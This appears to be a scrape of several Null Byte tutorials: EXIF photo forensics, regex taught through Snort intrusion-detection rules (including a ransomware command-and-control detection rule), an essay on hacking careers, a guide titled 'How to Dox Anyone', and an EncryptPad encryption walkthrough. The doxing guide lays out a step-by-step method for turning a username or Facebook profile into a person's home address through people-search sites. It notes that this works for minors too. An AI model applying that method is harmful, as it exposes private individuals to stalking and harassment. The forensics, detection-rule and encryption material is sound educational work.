Welcome back, my greenhorn hackers!In many cases when a computer, phone, or mobile device is seized for evidence, the system will have graphic images that might be used as evidence. Obviously, in some cases these graphic images may be the evidence such as in child pornography cases. In other situations, the graphic images may tell us something about where and when the suspect was somewhere specific.Most digital devices "stamp" information on these graphic images that can tell us a lot about the who, what, when, and where the pictures were taken. This information is known as EXIF data and can very often be useful to the forensic investigator.EXIF DataExchangeable image file format (EXIF) is a standard set by the digital camera industry to identify formats for digital images and sound files. This information includes camera settings, time, date, shutter speed, exposure, whether a flash was used, compression, the name of the camera, and other information critical to viewing and editing the image in image-editing software. This information can also be useful to the forensic investigator.Originally developed for JPG and JPEG file formats, some other formats use EXIF data as well, but this data isnotavailable for PNG and GIF image file types.Graphic Image TypesThere are numerous graphic formats. These include:PSDJPEGBMPTIFFPNGGIFBPGJFIFand many, many moreThere are numerous application that can extract this EXIF data from graphic files. Nearly everyone of the major forensic suites (EnCase, FTK, Oxygen, etc.) has this capability built in. For this lab, we will be using a simple, Windows-based tool calledExifReader(free).Update:Use a Command Line Tool, Web App, or Browser Extension to View EXIF Data on Practically Any ComputerStep 1: Install ExifreaderOnce you havedownloaded ExifReader, click on the executable and it will open a clean and simple GUI like that below.Now, simply click on the "Open" button and browse to the pictures on the system or media. JPEG and JPG contain the most information, so let's use those.Step 2: Open a Picture FileWhen you open the picture file with ExifReader, it will load the picture into the thumbnail to the left and display the EXIF data to the right down the page.Note that the picture on the suspect's computer was made with a Samsung phone, Model SCH-I535, and was taken on March 15th, 2014 at 11:04 a.m.There is numerous other information in the EXIF data, but most is related to the technical specs of the camera and photography. Most of this is of limited value to the forensic investigator.If the device had GPS enabled when the picture was taken, we would know the exact GPS coordinates of where the picture was taken.Step 3: Extract EXIF from Another PhotoLet's try another picture. Once again, this will be a JPG file. When we open it, unfortunately the thumbnail does not appear. This happens with more than a few pictures, but the EXIF data is still displayed, even if the thumbnail doesn't.As you can see below, it tells us that the picture was taken by a Nikon camera, model E3100, on February 18th, 2007Step 4: Extracting GPS DataIn this picture, we will look to see if we can extract the GPS data for the location of where the picture was taken.When we extract the EXIF data from this picture, we find out it was taken with an Apple iPhone4son August 25th, 2011 at 9:27:36 a.m.Near the bottom of the EXIF data we can find the GPS information, expressed in latitude and longitude, as this Apple iPhone had location services enabled. We can now take this data from the EXIF and put it into Google Maps or other mapping application to find the exact location where this picture was taken.Google Maps reveals that this suspect took this picture in Yosemite National Park in California, USA.When forensic investigators have graphic image files to work with, very often they can find useful information about the file and the suspect in the EXIF data. This information includes the camera manufacturer and type, the time the photo was taken, and maybe even the location where the photo was taken, all potentially useful information in a digital forensic investigation.Keep coming back, my greenhorn hackers, as we explore digital forensics to keep you safe!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)How To:Obtain Valuable Data from Images Using Exif ExtractorsHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)How To:Become a Computer Forensics Pro with This $29 TrainingNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)SPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )News:Why YOU Should Study Digital ForensicsHack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 14 (Live Memory Forensics)Hack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 3 (Recovering Deleted Files)How To:The Hardware Hacker's Introduction to Microcontrollers, Part One: Anatomy of an ArduinoHack Like a Pro:Digital Forensics Using Kali, Part 3 (Creating Cases in Autopsy & Sleuth Kit)Advanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowHow To:Scrub the EXIF Data from Photos on Your Android Phone Before Sharing ThemHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hacking Windows 10:How to Find Sensitive & 'Deleted' Files RemotelyNews:Sneaky! WhatsApp Adds Encryption to iCloud Backups on the SlyNews:Airline Offers Frequent Flyer Miles to HackersHow To:Wipe & Obfuscate Identifying Information in Your Protest Photos for More Anonymous SharingHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 13 (Browser Forensics)How To:Find Target Location with an iPhone PictureHow To:Completely Remove Your Hidden Personal Information from Digital PhotosThe Sony Hack:Thoughts & Observations from a Real HackerHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingHow to Hack Your Game Saves:A Basic Guide to Hex EditingGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsNews:The Epson International Pano Awards Photography Contest - Deadline April 15, 2011
Hack Like a Pro: An Introduction to Regular Expressions (Regex) « Null Byte :: WonderHowTo
Welcome back, my novice hackers!This next subject might seem a bit obscure, but I promise you, this lesson will benefit you significantly either as a hacker or system admin. This tutorial will cover what is usually referred to as a regular expression, or regex for short.Manipulating Text in LinuxRemember, nearly everything in Linux is a file, and for that matter, most are simple text files. Unlike Windows, with elaborate snap-ins and MMCs to configure an application or server, Linux simply has a text file for configuration. Change the text file, change the configuration. As a result, early pioneers in Linux developed some rather elaborate and elegant ways to manipulate text.We've looked at a few simple ways to manipulate text already, such asgrep and sed, but with regex we'll have the capability to find much more complex text patterns.For instance, what if we we're looking for a line of code among millions of lines of code that began with an "s" containing only the letters "sugr" and the numbers 1-5 with a "bb" ending? Could we find it without having to go through millions of lines of code? Yes—with regex!The Importance of Learning RegexRegex is implemented throughout the information technology world. First developed in 1956 and adopted by Ken Thompson in the original Unix, it has now found its way into Java, Ruby, PHP, Perl, Python, MySQL, Apache, .NET, and of course, Linux.Without understanding regex, you're not only hamstrung in scripting any of these languages, but your ability to do more than simple search and replaces becomes very tedious. In addition, many of the rules written intoSnortand other intrusion detection systems are written in regex.As you can imagine, if searching for some malicious code, the ability to search and find sophisticated and complex text patterns is crucial.How Regex Works in a Security EnvironmentIn this Null Byte tutorial, we'll be using examples fromthe Snort rulesetto illuminate how regex works in a hacking/security environment.Step 1: A Snort RuleOf the many applications and scripting languages that use regular expressions, Snort is one. With its ability to detect just about any type of attack, Snort would be crippled without its regex capabilities. Let's look at new rule that came out just few weeks ago to detect the Ransomware attacks that were seen across the world.The Snort Rule for Detecting Ransomware Attacksalert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MALWARE-CNC Win.Ransomware.PRISM outbound connection attempt - Get lock screen"; flow:to_server,established; content:"GET"; http_method; content:"/page/index_htm_files2/"; nocase; fast_pattern:only;pcre:"/\x2f((xr)_a-z)|[0-9]{3,}\x2e(css|js|jpg|png|txt)$/U";http_uri; metadata:impact_flag red, policy balanced-ips drop, policy security-ips drop, ruleset community, service http; reference:url,http://www.virustotal.com/en/file/417cb84f48d20120b92530c489e9c3ee9a9deab53fddc0dc153f1034d3c52c58/analysis/1377785686/; classtype:trojan-activity; sid:1000033; rev:3;)End RuleNote the section that is set off and in bold. This is the part of the rule that is utilizingpcreto detect the ransomware.We'll come back to this rule in a later tutorial, but for now, let's look at a simple Snort rule using regular expressions. If you are unfamiliar with Snort rules, make sure to check out my previous guide onreading and writing Snort rules.For our example, let's use this following pseudo-rule:alert tcp any any -> any 80 ( pcre:"/\/foo.php?id=[0-9]{1,10}/";)The first part of this rule should be familiar to us. It says "send analertwhen a packet comes across the wire using thetcpprotocol fromanyIP address fromanyport toanyIP address to port80". It's what comes after the header of this rule that is new and strange.Our task now, is to figure out what this rule is looking for.Step 2: Some Basic SyntaxBefore we begin to attempt to decipher what that rule is looking for, let's lay out basic and simple regular expression syntax and rules./- Begins and ends a regular expression..- Matches any single character.[ ]- Matches a single character within the brackets.[^]- Matches everything except what is in-between the brackets (and after the^).[x-y]Matches every character or number in-between m & n (ex:[a-d]will match the letters a,b,c, or d and[2-7]will match the numbers 2,3,4,5,6, and 7. They are case sensitive by default, and can be combined however you like. For example, to match any alphanumeric character, you can use[A-Za-z0-9]).^- Matches the starting position of the string.* - Matches the preceding element or group zero or more times.$- Matches the ending position of the string.( )- Defines an expression or group.{n}- Matches the preceding character n times (ex:{5}would require the preceding character or group to match 5 times).{m,n}- Matches the preceding element at least m times and not more than n times (ex:{2,4}would require the preceding character or group to appear 2-4 times in a row).|- Matches the character or group either before OR after the|.Step 3: Interpreting the RuleThat summarizes some of the very basic rules of regular expressions. Let's try breaking down the regular expression built into the Snort rule above and try to determine what it is looking for.pcre:"/\/foo.php?id=[0-9]{1,10}/";pcre:- This simply tells the Snort engine to start using Perl Compatible Regular expressions on everything that follows."- Indicates the beginning of the content./- Indicates the beginning of the subexpressions that the PCRE is looking for.\- This is an escape character—it says "don't use the special meaning that the following character has in pcre," but instead see it as literal character./foo.php?id=- This is simple text—the rule is looking for this set of characters.[0-9]- The brackets here indicate look for any of the digits between 0-9.{1,10}- The curly braces here say look for the previous digits between 1 and 10 times./- End the expression we are searching for.We could then interpret this rule in English to say, "look for (presumably a URL) that end with "foo.php?id=" and then has a single digit between 0 and 9 and that digit can be repeated between 1 and 10 times."This rule would then catch packets with:foo.php?id=1foo.php?id=3foo.php?id=33foo.php?id=333333But would pass packets with:bar.php?id=1bar instead of foofoo.php?id=must have at least one digitfoo.php?id=Amust have a digit not an alphabeticfoo.php?id=11111111111can only have between 1 and 10 digits after the =That completes our introduction to regular expressions, but we will return to this subject soon to delve a bit deeper into this powerful but cryptic language, so that you will able to read regex as fluently as you read this page.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Perl Scripting for the Aspiring Hacker, Part 1Hack Like a Pro:An Introduction to Regular Expressions, Part 2News:The Best Cyber Monday Tech Deals on TVs, Phones, Laptops, & MoreHow To:Take Slo-Mo Selfies (AKA 'Slofies') on iPhone 11, 11 Pro & 11 Pro MaxHow To:Create This Easy Hologram Projector for Your Smartphone in Just Ten MinutesNews:Jeep's New AR Experience Lets You Interact with a Car That Isn't Actually ThereHow To:Earn the "Sally Likes Blood" achievement in Call of Duty: Black OpsHow To:Draw a Vampire-SmirkHow To:Abe Lincoln Vampire HunterHow To:Get started using FileMaker Pro 11How To:9 Oreo Hacks That Make Life Worth LivingHow To:Use Colorista plugin in Final Cut Pro (Introduction)How To:Force Restart Your iPhone SE (2nd Generation) When It's Frozen or Otherwise Acting UpNews:iOS 12.1.1 Public Beta 3 Now Available to Software TestersNews:Amazon's Best Black Friday Tech Deals 2016—TVs, Phones & TabletsHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Get LED Color Effects for Music Playing on Your AndroidNews:You Can Get a OnePlus 7 Pro with INSANE Specs for the Price of theXRor S10eHow To:Get All the New iPad Pro Wallpapers on Your iPhoneHow To:This Quick & Easy Shortcut Minces Garlic in SecondsHow To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)How To:Find All the Reels You Liked & Saved on InstagramHow To:Save Custom Shooting Presets in Filmic Pro So You Don't Have to Adjust Settings Later for Similar ShotsHack Like a Pro:How to Install BackTrack 5 (With Metasploit) as a Dual Boot Hacking SystemHow To:Use the guitar amp effect in Pro ToolsHow To:Export video to the web with Final Cut ProHow To:Use Regular Expressions to find text patternsNews:Game box art - what to regular people think?News:introductionHow To:The Official Google+ Insider's Guide IndexNews:Welcome to Edit on a DimeNull Byte:Never Let Us DieNews:Quiksilver Pro El Salvador:How To:Hack Your Old Printer to Automatically Print Hashtag-Based Instagram PhotosNews:Bricked iPad Pros, Error 56, & How to Fix
Why You Should Study to Be a Hacker « Null Byte :: WonderHowTo
Welcome back, my budding hackers!People often ask me, "Why are you training hackers? Isn't that illegal?" Although I usually give them a short version of this post, there are MANY reasons why YOU should be studying hacking.Before I begin, I want to re-emphasize to all of you that hacking is an elite profession. Hackers are among the top of the heap in the IT industry. Before you ever begin studying hacking, you should ideally have a firm grasp of computer operations,Linux, networking, coding, and hopefully, a bit of operating system and application architecture.One doesn't begin hacking without a strong background in these other IT skills. If you do, you will likely give up frustrated. Hacking takes years of study and practice to become proficient at, and if you try to take shortcuts, you will likely fail, or worse—spend a few years in "Club Fed."The hacker's skills are increasingly sought after in many corners of our profession. Here are just a few.Penetration TestingPenetration testing is essentially legal hacking. Organizations hire penetration testers to test the security of their information systems. These penetration testers use all the skills of a hacker to try to "penetrate" or hack these systems.In this way, the company can find the weaknesses in their systems before the malicious hackers around the world do. There is a tremendous shortage of skilled penetration testers, and the pay is VERY good.Security IndustryThe information technology security industry continues to expand rapidly as more and more commerce goes to the web and more and more security incursions take place. Information security has become big business and they can not get enough well-trained people.A hacker is highly regarded among this industry as ONLY the hacker understands the true vulnerabilities of information systems. The better one understands the weaknesses of these complex systems, the better they can defend them.So many IT security professionals have never hacked a system and, as a result, have no idea on how to protect them. Some of the highest paid individuals in this industry are former hackers.Private InvestigatorIncreasingly, private investigators are employing hackers to gather information and evidence in their investigations. Although, at times, this may straddle the lines between legal and illegal hacking, it is important to note that this is sometimes the only way to gather evidence on many critical cases.In most cases, hackers are used by private investigators as contractors to insulate themselves from possible liability. This can be a lucrative employment, but also very risky.Forensic InvestigatorForensic investigators are employed by law enforcement, incident response teams of major companies, and information security firms. Who better to trace the tracks of a hacker than someone who knows how to hack?Learning to hack gives the forensic investigator the mindset of the intruder, as well as understanding what happened and what clues, evidence, or artifacts must be left behind after a cyber attack or other criminal activity.Check out mypast Forensics series, andcurrent Kali Forensics series, to see some of the things that digital forensics involves.Cyber EspionageSpy agencies around the world are employing and looking for more and more hackers to spy on their adversaries. In the U.S., the CIA, NSA, FBI, and numerous other three letter acronyms are using hacking techniques to foil terrorist attacks, spy on the foreign adversaries, and keep track of their own citizens.Check out my next series onhacking to spyfor more on this type of profession.Cyber WarfareIn the digital era, warfare is rapidly evolving from being primarily one of guns, tanks, missiles, and bullets tocyber warfare. There is a constant undertone of cyber warfare going on every day between adversaries around the world. Whether it be the rebels in Indonesia fighting their oppressive government, the Arab spring, Indian vs. Pakistan, Russia vs. Ukraine, etc. All of these conflicts involve an element of cyber warfare.Not only is cyber warfare used to spy on the adversary, but often times it is used to disable critical infrastructure. If I can disrupt the critical supply lines of my adversary, I can make it very hard for them to fight if food, water, and ammunition supplies are disrupted digitally. In addition, disruption to such domestic services as electricity, water, water treatment, and communication to my adversaries' citizens is only going to weaken and dispirit them.Probably the most sophisticated cyber warfare attack to date was the U.S.'s release of the Stuxnet worm. This advanced worm burrowed into the Iranian uranium enrichment facility to disrupt their ability to enrich uranium for their nuclear ambitions.Just this last month, August 2014, the major banks in the U.S., including J.P Morgan Chase, were hit by a cyber attack from Russia. It is believed that this cyber attack was in response to the banks cooperating with the U.S. sanctions on Russia for the invasion of the Ukraine. This is simply an indication of how the game of international politics is played in 2014, with cyber attacks, aka hacking.Authoritarian Government ResistanceOf the millions of people who readNull Byte, many of you are living in countries with authoritarian and abusive governments. Many of these governments will try to limit the use of the Internet to limit free speech and expression, while others will use the Internet as a means of repression. In these cases, having the skills to resist such abuse can be critical to you and your people's freedom.Network or System AdministratorAs a hacker, you need to understand how digital systems work and interoperate. That understanding is often far beyond that which is necessary to be a network or system administrator. These IT personnel are often only taught to "click here, then click here, and then click here..." without a full understanding of the system and functionality they are working with. The hacker is often much better equipped to run these systems because they understand how the systems work and interact, what their weaknesses are, etc.These are just few of the reasons on why you should be studying to be a hacker. Keep coming back to Null Byte, my budding hackers, because you'll learn a lot of the skills needed to be an abled hacker in any of these professions.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image via Shutterstock (1,2)RelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)White Hat Hacking:Hack the Pentagon?News:White House Hacked by Russian Hackers!News:Why YOU Should Study Digital ForensicsHow To:The Essential Skills to Becoming a Master HackerNews:Some of the World's Most Notorious Hackers Got HackedHack Like a Pro:How to Set Up a Honeypot & How to Avoid ThemHow To:Catch a Hacker?How To:Become a HackerTypoGuy Explaining Anonymity:A Hackers MindsetNews:The Hack of the Century!How To:The Five Phases of HackingNews:Airline Offers Frequent Flyer Miles to HackersNews:Jobs & Salaries in Cyber Security Are Exploding!Farewell Byte:Goodbye Alex, Welcome AllenNews:Anonymous Hackers Replace Police Supplier Website With ‘Tribute to Jeremy HammNews:Student Sentenced to 8mo. in Jail for Hacking FacebookNews:TOON BUILDSHow To:Conceal a USB Flash Drive in Everyday ItemsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsNews:Eating Chocolate To Improve Your Math SkillsNews:Students Exposed To Ringing Cell Phones Score Worse On TestsNews:It-doesnt-pay-to-be-intelligentHow To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:Indie and Mainstream Online Games Shut Down by LulzSecRIP:ScroogleNews:Symantec Source Code Released by Anon After Failed NegotiationsNews:The Hacker's Jargon
How to Dox Anyone « Null Byte :: WonderHowTo
Doxing is the act of finding one's personal information through research and discovery, with little to no information to start with. You may have seen doxing in the news, for instance when not so long ago, hacker team Anonymous doxed and reported thousands of twitter accounts related to ISIS. Doxing can be useful for finding the address of a coworker, or simply investigating people on the internet. The tutorial I will provide to you now will teach you the basics of doxing and how you can protect yourself against malicious people on the internet.Step 1: Where to Start...The thing about doxing that makes it a skill is that you must be prepared for many different situations, as no two people will have their social profile setup in the same exact way. You must be prepared to only have the resources of a name, email, username, or even phone number to find out all of the other information about a person. If you have an email, you are all set. An email is connected to social media (names) work (phone numbers) and accounts (information about the person). If you don't have an email, you should have a basic goal to get one, or at least a name...but for the sake of this tutorial, I will break up each step for a different scenario.Step 2: UsernamesUsernames are extremely difficult to make connections with. If you have a username you can use some websites that I will provide to see other accounts and profiles connected to those usernames. These websites are not always correct, but you should check with a couple of them before proceeding to mark down information about a person.My personal favorite place to start is pipl.com.Pipl is a good place to start if you only have a username. Though pipl has the capability to search with emails and names, I would use some other sites that I will show later in the tutorial that specialize in those. Pipl should definitely not be your #1 go to site for doxing. For the sake of this tutorial, I will show you an example of what would come up when I search for null byte.As you can see here, pipl pulls up some pictures of null byte, as well as some social media accounts connected to Null Byte. Some other sites that do the same thing as pipl, if not better, are spokeo.com and knowem.com. Now you're on a roll. From here we can talk about our social media pages.Step 3: Social MediaOur social media pages are a huge source of personal information. From our social media pages, we can define our friends, family, best friends, locations, possibly phone numbers, photos of the person, and even information about the person's work. If you have somebody's social media page as a start, you can find out things like their address easily, even if they are under the age of 18. How? Well, with social media we can find out the city of the person, as well as some family members. From there we can use some websites I will show later in the tutorial to find addresses. Let's look at a random Facebook page and see what we can find.Here we have the Facebook page of a man named John Smith. I don't know John, but I can still take massive amounts of information from his Facebook page.For instance, from his about page, I can see the city he lives in, as well as the school he went to.From John's about page, I can see that he lives in Monterey, California, and he went to Harvard-Westlake School. You don't know it now, but this will give us an even more massive amount of information later. Like addresses. This is where the tutorial gets interesting, so keep your ears on your head and listen up!Step 4: Addresses and Phone NumbersNow this is where we cross the line between the internet, and the real world. Taking information from the internet, and finding out where it is in real life. To find addresses, we will use the name, John Smith, that we investigated on Facebook. We will use a website called White Pages (whitepages.com) to look up this name and see what addresses are connected to it.In our white pages search box, we put the name as John Smith, and the location as Monterey, California, as found on John's Facebook profile.This was the result:When we click on the little address icon, it will open a page with the address of Mr. Smith. I have edited out the actual credentials of Mr. Smith for his safety but here is a little picture of the surrounding page.Here is the page that appears when you click the icon. I have edited out the age, picture of location, and address for the safety of John Smith.Step 5: Where to Go from HereCongratulations! You have learned the core basics of doxing and are ready to go out into the world with your new skills! I encourage all of my readers to use the information I have given you to protect your online identity. Don't post your city on Facebook and try not to post anything you don't want the internet to see. Make sure your usernames are not always the same and stay on your toes! Thank you so much for reading this article and please comment if you have any questions! :DWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Gathering Sensitive Information: Basics & Fundamentals of DoXingHow To:Gathering Sensitive Information: Using Advanced Search QueriesHow To:Gathering Sensitive Information: How a Hacker Doesn't Get DoXedNews:Many Lookup EnginesInsect Photography Challenge:Red Flying BugNews:Origami Dung BeetleNews:Fettuccine AlfredoNews:Camino de Santiago FilmWeekend Homework:How to Become a Null Byte Contributor (3/9/2012)News:1. SmileNews:Jumping Through HoopsThe Null Byte Call to Arms:A Special Message to the CommunityNews:What Is Sketch Heroes?News:Take Over the Galaxy with GithubNews:Stop CISPA NOW!!!How To:JavaScript Codecademy TutorialNews:Stanford's Cryptology Class Goes Live TODAY!Music Video:Everyday's a HolidayNews:PVC Pipe Easel - Self ExplanatoryNews:Jeremy P's Blog - Tubulum FAQNews:To All Aspring Game Developers In or Around Bedfordshire, UKNews:Loading problemNews:Installing Woven ShadesNews:Got $25k for this lens?News:Balloon Library Site for Learning Balloon AnimalsNews:Zynga Scrabble clone Words With Friends available on AndroidNews:Stanley Kubrick Tribute - Quite AwesomeNews:Interesting Nazi ruins in the Santa Monica MountainsNews:Thanksgiving Turkey Cake, Anyone?News:Cute crochet HeadbandsNews:Monkey Shoulder WhiskyNews:YouTube Announces 4K SupportHow To:MAKE BALLOON ANIMALS THE EASY WAYNews:Where are the World Cup condoms?News:Throwaway journalism, Cameroon styleNews:Tandemoro Drummer Beats the MachinesNews:Rick Bayless recipe for moleNews:LEGO Universe Pre-OrdersNews:My Mom Bought me a RED camera so now I'm a DPNews:Canon 7D PL Hotrod Mod
How to Encrypt Your Notes, Photos & Archives with EncryptPad « Null Byte :: WonderHowTo
For anyone wanting to keep information private, plain text is a format of the past. Instead, cheap, powerful encryption is widely available, but often not easy enough to use to attract widespread adoption. An exception to this rule is EncryptPad, an easy to use application that lets you encrypt text, photos, or archives with strong encryption using a password, keyfile, or both.The Need for Encrypted InformationIn the digital world, plain text is an easy target. Keeping anything of importance in plain text means, obviously, that anyone can read it, and while this would have been expected back when processing power was expensive, there are now many free and easy ways of keeping your text in a more secure state. Encryption uses a key you create to scramble the data you're saving, making it easy for you to retrieve but hard or impossible for others to recover.Don't Miss:How to Hide Secret Data Inside an Image or Audio File in SecondsThink of it this way: if you were to record everything in plain text on your computer and then lose it, whoever found it would be able to read all of the unencrypted contents of your drive. If you were to lose the same laptop but with your files encrypted, there are a few ways you could frustrate someone trying to dig around inside.Passwords & More for Managing EncryptionFirst, you could set a password that would need to be broken to retrieve the information, significantly reducing the likelihood that someone could access the files that are now outside your control. Of course, this could still be attacked if you picked a weak or common password or if you reused the password in other places where it could be phished.Don't Miss:Use Private Encrypted Messaging Over TorA more secure way of doing so is to create a keyfile that is required to unlock sensitive files and then keep a copy accessible over the network. That way, you can revoke access to the file by deleting the key from the network, making it so files are impossible to decrypt until you upload the key again.EncryptPad is an easy to use application that presents a simple to use GUI similar to other notepad programs. While it is by no means the most powerful word processor, it makes encrypting notes a breeze and allows the same functionality you would expect from any GUI text editor.Step 1: Install EncryptPadTo download EncryptPad, the best way to get started is to use the precompiled binaries available on theEncryptPad website. Select the version that matches your operating system, and then install EncryptPad following the on-screen prompts.FormacOS, simply download the file and open the disk image to find the fully functional encrypted notepad application. You can drag and drop this directly into your "Applications" folder. On other systems, EncryptPad is similarly easy to install.Step 2: Open a Text File Using the Text EditorTo open EncryptPad, launch the application by double-clicking the EncryptPad lock icon. This should launch you into an empty "untitled" EncryptPad file. You'll notice the file extension, EPD, is specific to this program.Here, you can see we've got the same kind of basic text editor we'd expect to be installed alongside an operating system. While there aren't many formatting options, the magic really comes after you lock down the contents with a password or keyfile.Click on the gear icon to show the encryption options for EncryptPad. Here, you can see the type of symmetric encryption you can select. If you'd like to bump up the power of the hashing function to SHA-512 from SHA-256, you can do so here.Once these options are set, we can move on to locking down our file so only we can see it. Let's add some text, and then move on to encrypting it.Step 3: Protect Your File with a PasswordOnce you've set the encryption to your liking, click on "Encryption," and then "Set Passphrase" to set a password on the file. You can also see the "Clear Passphrase" options, which you can use to clear away a password if you'd like the file to be accessible without a passphrase.In the popup window, type and then confirm astrong password. Do not put a weak password like password123 here, as doing so completely defeats the point of encrypting this information in the first place.After setting the password, you can now save the file and be confident that without the passphrase, an attacker wouldn't be able to open it. That being said, over time, a determined attacker could still break in by brute-forcing the password, if they gained possession of the files.So what else can we do besides adding a password to keep people out of our files?Step 4: Generate a Key FileOne of the strongest and most flexible ways of securing your document is with a keyfile. A keyfile is stronger than a password and easier to manage in some ways, as you're able to use EncryptPad to rely on keys shared over a network. This means a keyfile can be removed later to deny access to information stored in EncryptPad files.Don't Miss:Hide Sensitive Files in Encrypted Containers on Your Linux SystemSetting a keyfile is easy, but the first step is generating one. Under the "Encryption" tab, select "Generate Key."Next, select the location you'd like to save the key file. The key will also be password protected, so make sure to havea good passwordready to secure the key.Enter a passphrase to protect the key in the next field, and you'll have a .key file waiting for you wherever you've chosen to save it. Finally, you'll get a prompt asking if you want to use the generated key for this file. For now, select "No" to continue.Step 5: Protect Your Data with a Key FileNow, let's encrypt our file with the key we just created or any other key for that matter. Click "Encryption" again, and then select "Set Encryption Key." In the pop-up that opens, select a path to the key file you want to use to encrypt the file. Here, you can also specify a remote key, like one stored on a server you control.An important setting here is "Persist key location in the encrypted file." This means that the location of your keyfile will be saved in your encrypted file, making it easier for a remote encrypted key to be used. If you select this option, this key file will be linked to your encrypted document until you remove it.Once this is set, click "OK," and set a password for the keyfile. Your document should now report that it is secured by both a password and encryption key.Don't Miss:The Easy Way to Use PGP for Encrypting EmailsStep 6: Encrypt an Image or FileEncryptPad doesn't just stop at encrypting text; it can also encrypt archives and images too. We'll demonstrate this by creating an encrypted version of a horrible Garfield meme using the keyfile we generated before.First, we'll start with an image we want to encrypt. Click on "Encryption," and you'll see the following dialog box.In this box, you'll input the file you want to encrypt in the "Input file" file, and where you want the encrypted file to be saved in the "Output file" field. Make sure you have the "Encrypt" option selected, and then you can select either EPD or GPG as the file format.Typea passphraseto encrypt the file with, and then select the key file you created before in the "Key file path" field. When this is all selected, click "Start" and enter the password you set with the key file.Perfect, when we go back to the folder we saved the file to, we can see an encrypted version is now saved there. Using this process, we can encrypt anything we want on our system.Step 7: Decrypt an Encrypted File with a Key & PasswordFinally, the most important part is knowing how to decrypt a file with a key and password. To do so, click on the "Encryption" option again, and we'll find ourselves doing the reverse of what we did to encrypt the file.Select the "Decrypt" option at the top of the menu, then enter the file you want to decrypt in the "Input file" field. Enter the path and file name you want the decrypted file to use in the "Output file" field, and then enter the path to the keyfile you encrypted the file within the "Key file path" field. Once these are filled out, click the "Start" button.Don't Miss:Create Custom Wordlists for Password Cracking Using the MentalistWhen prompted, enter the password associated with the file and the keyfile you're using. Upon successfully decrypting the file, you should see the confirmation box below.To open an encrypted text file, you can simply open the file in EncryptPad by clicking "File," "Open," and then supplying the password to access the file when prompted.File Encryption Is Powerful, Private, & Easy to UseOne thing to keep in mind with encryption is that it can work both ways. If you set a password so strong that you can't remember it, or if you set a keyfile and then proceed to lose it, you will not be getting your data back. The point of encryption is that there are no backdoors and that it is incredibly difficult to recover data that you don't have the key or password to. As such, you should make backups of any keyfiles you use, because you may need them if for some reason your primary copy is destroyed.If you manage your keys well and keep your sensitive files encrypted, you should be safe from prying eyes decrypting the files you want to keep secure. With tools like EncryptPad, storing text in a secure way doesn't have to be difficult or complicated.I hope you enjoyed this guide to using EncryptPad to encrypt text and information! If you have any questions about this tutorial on encryption or you have a comment, feel free to write it below in the comments or reach me on [email protected]'t 